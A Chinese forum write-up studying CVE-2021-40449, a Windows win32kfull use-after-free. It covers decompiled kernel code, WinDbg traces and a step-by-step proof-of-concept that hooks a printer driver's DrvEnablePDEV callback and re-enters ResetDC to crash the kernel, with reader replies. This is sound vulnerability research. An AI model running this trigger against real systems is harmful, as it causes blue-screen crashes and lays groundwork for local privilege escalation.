首页
论坛
课程
招聘
[原创]CVE-2021-40449(UAF)学习
2021-10-23 08:57 18698

[原创]CVE-2021-40449(UAF)学习

2021-10-23 08:57
18698

漏洞描述

内核模块win32kfull.sys中存在UAF漏洞,利用此UAF漏洞可实现本地提权(LPE: local privilege escalation)

 

影响版本:

 

Windows Server, version 2004/20H2(Server Core Installation)

 

Windows 10 Version 1607/1809/1909/2004/20H2/21H1

 

Windows 7 for 32/64-bit Systems Service Pack 1

 

Windows Server 2008/2012/2016/2019/2022

 

Windows 11 for ARM64-based Systems

 

Windows 11 for x64-based Systems

 

Windows 8.1 for 32/64-bit systems

 

Windows RT 8.1

漏洞分析

题外话:试了好几个版本,发现高版本的系统运行POC 10次可能触发1次蓝屏,所以选择了蓝屏机率最高的win10-1809版本进行复现学习

 

UAF漏洞存在于win32kfull.sys中的NtGdiResetDC函数中,此类win32k漏洞产生根本原因大都是设置了用户模式的回调函数,在执行回调函数期间调用了其他出乎意料的API函数进而导致漏洞的产生


 

从下面F5出来的反汇编代码可以看到在NtGdiResetDC函数中调用了GreResetDCInternal函数

1
2
3
4
5
6
7
8
9
10
if ( v11 )
 {
   v11 = GreResetDCInternal(a1, v8, &v13, (__int64)v9, a5);
   if ( v11 )
   {
     if ( (unsigned __int64)a3 >= MmUserProbeAddress )    // MmUserProbeAddress为全局变量,相当于用户空间与内核空间的分界线
       a3 = (_DWORD *)MmUserProbeAddress;
     *a3 = v13;
   }
 }

在跟进GreResetDCInternal函数前,我们先了解一下相关结构体的定义,参考自NT4.0的源码dcobj.hxx#L97dcobj.hxx#L236dcobj.hxx#L1282dcobj.hxx#L1686,另外HDC犹如其名,handle to device context,图形设备信息对象的句柄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class DCLEVEL
{
public:
    ...
    HDC hdcSave;
    ...
}
 
class DC : public OBJECT
{
public:
    DHPDEV dhpdev_;
    PDEV *ppdev_;
    ...
    HDC hdcNext_;    // HDC链表指针
    HDC hdcPrev_;
    ...
    DCLEVEL dclevel
    ...
};
typedef DC *PDC;
 
class XDCOBJ /* dco */
{
public:
    PDC pdc;
    ...
};
typedef XDCOBJ   *PXDCOBJ;
 
class DCOBJ : public XDCOBJ /* mdo */
{
public:
    DCOBJ()                { pdc = (PDC) NULL; }
    DCOBJ(HDC hdc)         { vLock(hdc); }
   ~DCOBJ()                { vUnlockNoNullSet(); }
};
typedef DCOBJ *PDCOBJ;

紧接着对GreResetDCInternal进行分析,可以看到函数中调用hdcOpgjenDCW函数创建了新的HDC对象,hdcOpgjenDCW函数位于win32kbase模块,调用期间会调用用户态DrvEnablePDEV回调函数,当我们劫持或者说hook callback table上该函数指针所在的位置的内容时,hook函数里头再次调用ResetDC,造成DC对象的结构数据异常,于是问题出现了:v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8);又从旧的DC对象中获取函数指针,v19(*(_QWORD *)(v11 + 0x708), *(_QWORD *)(*((_QWORD *)new_dcobj.pDC + 6) + 0x708i64));的两个参数((_QWORD *)(v11 + 0x708) == *((_QWORD *)dcobj.pDC + 6) + 0x708i64)均来自旧的DC对象,这就是教科书般的use-after-free。由于这两个参数可受到用户控制,内核函数接受两个用户态的参数,因此可以利用此漏洞造成任意地址读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
__int64 __fastcall GreResetDCInternal(HDC hdc, __int64 a2, int *a3, __int64 a4, __int64 a5)
{
 
  ...
 
  DCOBJ::DCOBJ(&dcobj, hdc);                    // 利用hdc对象来创建DCOBJ对象
  pDC = dcobj.pDC;
  if ( !dcobj.pDC )
  {
    EngSetLastError(6u);                        // 无效句柄
    v13 = dcobj.pDC;
LABEL_38:
    v16 = v25;
    goto LABEL_19;
  }
 
  ...
 
  v11 = *((_QWORD *)pDC + 6);                  // 获取DC的成员变量
 
  ...
 
  if ( XDCOBJ::bCleanDC((XDCOBJ *)&dcobj, 0) )
  {
    if ( *(_DWORD *)(v11 + 8) == 1 )
    {
      // 创建新的HDC对象,其用户态回调函数DrvEnablePDEV可能破坏dcobj对象和DC对象
      newHdc = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(v11 + 0xA00), v25, a4, a5, 0);
      v8 = newHdc;
      if ( newHdc )
      {
        *(_QWORD *)(v11 + 0xA00) = 0i64;
        DCOBJ::DCOBJ(&new_dcobj, newHdc);
        v18 = new_dcobj.pDC;
        if ( new_dcobj.pDC )
        {
          if ( v14 > 0 )
          {
            *((_DWORD *)new_dcobj.pDC + 0x1B) = *((_DWORD *)new_dcobj.pDC + 0x1A);
            v18 = new_dcobj.pDC;
          }
          *((_QWORD *)v18 + 0x101) = *((_QWORD *)dcobj.pDC + 0x101);
          *((_QWORD *)dcobj.pDC + 0x101) = 0i64;
          *((_QWORD *)new_dcobj.pDC + 0x102) = *((_QWORD *)dcobj.pDC + 0x102);
          *((_QWORD *)dcobj.pDC + 0x102) = 0i64;
          // 从旧DC对象中获取函数指针,此时对象可能已经遭到破坏或者替换,当内核访问无效的地址时,将会触发BSOD
          v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8);
          if ( v19 )
            // 两个参数可受用户控制
            v19(*(_QWORD *)(v11 + 0x708), *(_QWORD *)(*((_QWORD *)new_dcobj.pDC + 6) + 0x708i64));
 
            ... 
 
        }
      }
 
        ...
}

如果你觉得IDA中的反汇编代码不够直观,可以参考@ly4k的成果,对GreResetDCInternal函数的整体更加了解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
BOOL GreResetDCInternal(
    HDC hdc,
    DEVMODEW *pdmw,
    BOOL *pbBanding,
    DRIVER_INFO_2W *pDriverInfo2,
    PVOID ppUMdhpdev)
{
    // [...]
    HDC hdcNew;
 
    {
        // Create DCOBJ from HDC
        DCOBJ dco(hdc);
 
        if (!dco.bValid())
        {
            SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
        }
        else
        {
            // Create DEVOBJ from `dco`
            PDEVOBJ po(dco.hdev());
 
            // [...]
 
            // Create the new DC
            // VULN: Can result in a usermode callback that destroys old DC, which
            // invalidates `dco` and `po`
            hdcNew = hdcOpenDCW(L"",
                                pdmw,
                                DCTYPE_DIRECT,
                                po.hSpooler,
                                prton,
                                pDriverInfo2,
                                ppUMdhpdev);
 
            if (hdcNew)
            {
                po->hSpooler = NULL;
 
                DCOBJ dcoNew(hdcNew);
 
                if (!dcoNew.bValid())
                {
                    SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
                }
                else
                {
                    // Transfer any remote fonts
 
                    dcoNew->pPFFList = dco->pPFFList;
                    dco->pPFFList = NULL;
 
                    // Transfer any color transform
 
                    dcoNew->pCXFList = dco->pCXFList;
                    dco->pCXFList = NULL;
 
                    PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
 
                    // Let the driver know
                    // VULN: Method is taken from old (possibly destroyed) `po`
                    PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
 
                    if (rfn != NULL)
                    {
                        (*rfn)(po->dhpdev, poNew->dhpdev);
                    }
 
                    // [...]
                }
            }
        }
    }
 
    // Destroy old DC
    // [...]
},

相信看到这里的读者都已经了解漏洞的产生原因,接下来我们对POC进行一定的调试分析

漏洞验证

自己跟着写的POC还是有点问题,因此待会还是暂时拿别人的POC调试,下面我写的代码只是按着步骤进行拆分,方便理解

 

根据Kaspersky的揭露,在执行ResetDC的回调函数时,对相同的句柄再次调用ResetDC,即可触发漏洞。利用此漏洞需要使用GDI palette对象和一个内核函数达到任意地址读写,如果EXP处于Medium IL,可以利用NtQuerySystemInformation和EnumDeviceDrivers去泄露内核模块地址,最终可以进行权限提升

 

漏洞验证可以分为以下步骤:

  • 使用EnumPrinters(枚举打印机)寻找可利用的某打印机驱动
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// get the size of PRINTER_INFO_4A structure array
DWORD pcbNeeded = 0, pcReturned = 0;
EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcReturned);
if (pcbNeeded <= 0)
{
    cout << "[-] Failed To Find Any Available Printers" << endl;
    return FALSE;
}
 
PRINTER_INFO_4A* pPrinterInfo = NULL;
pPrinterInfo = static_cast<PRINTER_INFO_4A*>(malloc(pcbNeeded));
if (!pPrinterInfo)
{
    cout << "[-] Failed To Allocate Buffer For PRINTER_INFO Array" << endl;
    return FALSE;
}
 
// store all PRINTER_INFO_4A structures to heap
BOOL retStatus = FALSE;
retStatus = EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterInfo, pcbNeeded, &pcbNeeded, &pcReturned);
if (!retStatus)
{
    cout << "[-] Failed To Store All PRINTER_INFO Structures" << endl;
    return FALSE;
}
  • 使用OpenPrinterGetPrinterDriverLoadLibraryExA将此打印机驱动加载到内存
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
HANDLE hPrinter = 0;
DRIVER_INFO_2A* pDriverInfo = NULL;
// get the printer driver's name
PRINTER_INFO_4A* pPrinterInfoTemp = &pPrinterInfo[i];
if (!pPrinterInfoTemp->pPrinterName)
{
    cout << "[-] Failed To Print The Printer Name" << endl;
}
cout << "[+] The Printer Name: " << pPrinterInfoTemp->pPrinterName << endl;
expVal::pPrinterName = pPrinterInfoTemp->pPrinterName;
 
retStatus = OpenPrinterA(pPrinterInfoTemp->pPrinterName, &hPrinter, NULL);
if (!retStatus)
{
    cout << "[-] Failed To Open The Printer: " << pPrinterInfoTemp->pPrinterName << endl;
    continue;
}
 
// get the printer driver's handle
pcbNeeded = 0;
GetPrinterDriverA(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
pDriverInfo = static_cast<DRIVER_INFO_2A*>(malloc(pcbNeeded));
if (!pDriverInfo)
{
    cout << "[-] Failed To Allocate Buffer for DRIVER_INFO_2A" << endl;
    return FALSE;
}
retStatus = GetPrinterDriverA(hPrinter, NULL, 2, (LPBYTE)pDriverInfo, pcbNeeded, &pcbNeeded);
if (!retStatus)
{
    cout << "[-] Failed To Get Printer Driver" << endl;
    continue;
}
cout << "[+] The Driver Dll: " << pDriverInfo->pDriverPath << endl;
 
// load the printer driver to memory
HMODULE hModule = LoadLibraryExA(pDriverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (!hModule)
{
    cout << "[-] Failed To Load The " << pDriverInfo->pDriverPath << "To Memory" << endl;
    continue;
}
  • 使用GetProcAddressDrvEnableDriver获取此打印机驱动的用户态回调函数表(callback table)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// get the function pointer
pDrvEnableDriver DrvEnableDriver = NULL;
pDrvDisableDriver DrvDisableDriver = NULL;
DrvEnableDriver = (pDrvEnableDriver)GetProcAddress(hModule, "DrvEnableDriver");
DrvDisableDriver = (pDrvDisableDriver)GetProcAddress(hModule, "DrvDisableDriver");
if (!DrvDisableDriver || !DrvEnableDriver)
{
    cout << "[-] Failed To Get The DrvEnableDriver And DrvDisableDriver's Address" << endl;
    continue;
}
 
// enable the printer driver
DRVENABLEDATA drvEnableData{ 0 };
retStatus = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
if (!retStatus)
{
    cout << "[-] Failed To Enable The Printer Driver" << endl;
    continue;
}
else
{
    cout << "[+] Enable The Printer Driver" << endl;
}
  • 使用VirtualProtect取消对此打印机驱动的用户态回调函数表的保护
1
2
3
4
5
6
7
8
9
10
11
12
DWORD lpflOldProtect = 0;
if (!drvEnableData.pdrvfn)
{
    cout << "[-] Failed To Find The Callback Table Entry" << endl;
    continue;
}
retStatus = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(DRVFN), PAGE_READWRITE, &lpflOldProtect);
if (!retStatus)
{
    cout << "[-] Failed To Unprotect The Callback Table Entry" << endl;
    continue;
}
  • 覆写此打印机驱动的用户态回调函数表中指定的函数指针
1
2
3
4
5
6
7
8
9
10
11
12
13
// find the specific callback entry
for (DWORD j = 0; j < drvEnableData.c; ++j)
{
    if(expVal::callbackHook.iFunc == drvEnableData.pdrvfn[j].iFunc)
    {
        expVal::originCallback = drvEnableData.pdrvfn[j].pfn;
        cout << "[+] The Origin Callback Address: " << drvEnableData.pdrvfn[j].pfn << endl;
        drvEnableData.pdrvfn[j].pfn = expVal::callbackHook.pfn;
        cout << "[+] The Hook Callback Address: " << drvEnableData.pdrvfn[j].pfn << endl;
        cout << "[+] Hook The Callback Entry DrvEnablePDEV Successfully" << endl;
        break;
    }
}
  • 设置自定义回调函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
DHPDEV CallbackHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat,
    HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps,
    ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev,
    LPWSTR pwszDeviceName, HANDLE hDriver)
{
    if (!expVal::hdc)
    {
        cout << "[-] Global Hdc Is Invalid" << endl;
    }
    cout << "[+] The " << expVal::count++ << "th time to call DrvEnablePDEV" << endl;
    DHPDEV ret = ((pDrvEnablePDEV)expVal::originCallback)(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
    if (expVal::triggerFlag)
    {
        expVal::triggerFlag = FALSE;
        // 触发漏洞的核心是第二次在回调函数里再次调用ResetDC
        HDC tempHdc = ResetDC(expVal::hdc, NULL);
        cout << "[+] Returned From Second ResetDC" << endl;
        for (int i = 1; i < 16; i++)
        {
            Sleep(1000);
            printf("[+] Counting down...: %d\n", 16 - i);
        }
        Sleep(1000);
    }
 
    return ret;
}
  • 使用CreateDC(NULL, printerName, NULL, NULL)为此打印机驱动创建设备环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main()
{   
    BOOL retStatus = FALSE;
    retStatus = HookUsermodeCallbackEntry();
    if (!retStatus)
    {
        cout << "[-] Failed To Hook Callback" << endl;
        return 0;
    }
 
    expVal::hdc = CreateDCA(NULL, expVal::pPrinterName, NULL, NULL);
    if (!expVal::hdc)
    {
        cout << "[-] Failed To Create DC" << endl;
        return 0;
    }
 
    cout << "[+] CallbackHook Start" << endl;
    ResetDC(expVal::hdc, NULL);
    cout << "[+] CallbackHook Finish" << endl;
    cout << "[+] Time to BSOD" << endl;
    return 0;
}

POC调试:

 

windbg中在win32kfull!GreResetDCInternalwin32kbase!hdcOpenDCW函数下断点,第一次运行到hdcOpenDCW函数时,栈帧如下图所示,可以清楚的知道ResetDC如何从Ring3到Ring0

1
2
3
4
5
6
7
8
9
10
# Child-SP          RetAddr               Call Site
00 ffffb707`86be9938 fffff53a`bdd39ff2     win32kbase!hdcOpenDCW
01 ffffb707`86be9940 fffff53a`bdd39e66     win32kfull!GreResetDCInternal+0x11a
02 ffffb707`86be9a10 fffff801`0be74285     win32kfull!NtGdiResetDC+0xd6
03 ffffb707`86be9a90 00007ffe`8c636f04     nt!KiSystemServiceCopyEnd+0x25
04 00000096`578ff5f8 00007ffe`8cf497bf     win32u!NtGdiResetDC+0x14
05 00000096`578ff600 00007ffe`8e40dc71     gdi32full!ResetDCWInternal+0x16b
06 00000096`578ff700 00007ff7`134b1573     GDI32!ResetDCW+0x31
07 00000096`578ff730 00000269`632d9060     CallbackHell!main+0x63 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 236]
08 00000096`578ff738 00000000`00000000     0x00000269`632d9060

此时我还有些疑问,hdcOpenDCW函数如何调用回调函数DrvEnablePDEV?因此我在hook的函数开头添加了DebugBreak函数来进行栈帧回溯

1
2
3
4
5
6
7
8
9
10
11
12
13
# Child-SP          RetAddr               Call Site
00 00000022`a28fedf8 00007ff6`e0ec1096     KERNELBASE!wil::details::DebugBreak+0x2
01 00000022`a28fee00 00000166`f03e7dba     CallbackHell!hook_DrvEnablePDEV+0x26 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 34]
02 00000022`a28fee08 00007ffd`cc252d0b     0x00000166`f03e7dba
03 00000022`a28fee10 00007ffd`cc252ac4     ucrtbase!__crt_state_management::leave_os_call+0x4b
04 00000022`a28fee40 00007ffd`ccac5650     ucrtbase!__crt_state_management::wrapped_invoke<int (__cdecl*)(char const * __ptr64,char const * __ptr64),char const * __ptr64,char const * __ptr64,int>+0x34
05 00000022`a28fee70 00007ffd`cd4d99fa     gdi32full!GdiPrinterThunk+0x6d0
06 00000022`a28fef40 00007ffd`cfbb22c4     USER32!__ClientPrinterThunk+0x3a
07 00000022`a28ff7c0 00007ffd`cbc66f04     ntdll!KiUserCallbackDispatcherContinue
08 00000022`a28ff8c8 00007ffd`ccac97bf     win32u!NtGdiResetDC+0x14
09 00000022`a28ff8d0 00007ffd`cd65dc71     gdi32full!ResetDCWInternal+0x16b
0a 00000022`a28ff9d0 00007ff6`e0ec1573     GDI32!ResetDCW+0x31
0b 00000022`a28ffa00 00000166`f03d83b0     CallbackHell!main+0x63 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 236]

v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8);对应的汇编代码如下:

1
2
3
4
5
6
win32kfull!GreResetDCInternal+0x1a0:
ffffab8d`4253a078 488b4df7        mov     rcx,qword ptr [rbp-9]
ffffab8d`4253a07c 488b5130        mov     rdx,qword ptr [rcx+30h]
ffffab8d`4253a080 488b8b08070000  mov     rcx,qword ptr [rbx+708h]
ffffab8d`4253a087 488b9208070000  mov     rdx,qword ptr [rdx+708h]
ffffab8d`4253a08e ff15fcdf2000    call    qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffffab8d`42748090)]

在windbg中跟踪此处的调用,发现通过jmp rax跳转,此时rax已经不是正确的值,后面的执行流程发生错误,最终触发蓝屏

1
2
3
4
5
6
7
8
9
10
0: kd> u rip
win32kfull!guard_dispatch_icall_nop:
ffffab8d`42542a10 ffe0            jmp     rax
ffffab8d`42542a12 cc              int     3
ffffab8d`42542a13 cc              int     3
ffffab8d`42542a14 cc              int     3
ffffab8d`42542a15 cc              int     3
ffffab8d`42542a16 cc              int     3
ffffab8d`42542a17 cc              int     3
ffffab8d`42542a18 cc              int     3

漏洞利用

容我再想想怎么写EXP(茶,敬请期待……

参考链接

  • https://mp.weixin.qq.com/s/z0Hv06YRlmQVSINTd2Hh6w
  • https://github.com/ollypwn/CallbackHell

【公告】看雪团队招聘安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

收藏
点赞1
打赏
分享
最新回复 (4)
雪    币: 96
活跃值: 活跃值 (306)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
刚刚打你了哇 活跃值 2021-10-31 22:10
2
0
大佬,学习了
雪    币: 901
活跃值: 活跃值 (249)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
吴限 活跃值 2021-11-2 10:31
3
0

楼主在1809和之后的版本上复现过这个漏洞没?

最后于 2021-11-2 10:34 被吴限编辑 ,原因:
雪    币: 495
活跃值: 活跃值 (209)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Jimpp 活跃值 2021-11-2 13:01
4
0
之前还试了1909、20h2也可以蓝屏
雪    币: 901
活跃值: 活跃值 (249)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
吴限 活跃值 2021-11-3 16:53
5
0
Jimpp 之前还试了1909、20h2也可以蓝屏
可以蓝屏?不能提权成功吧?
游客
登录 | 注册 方可回帖
返回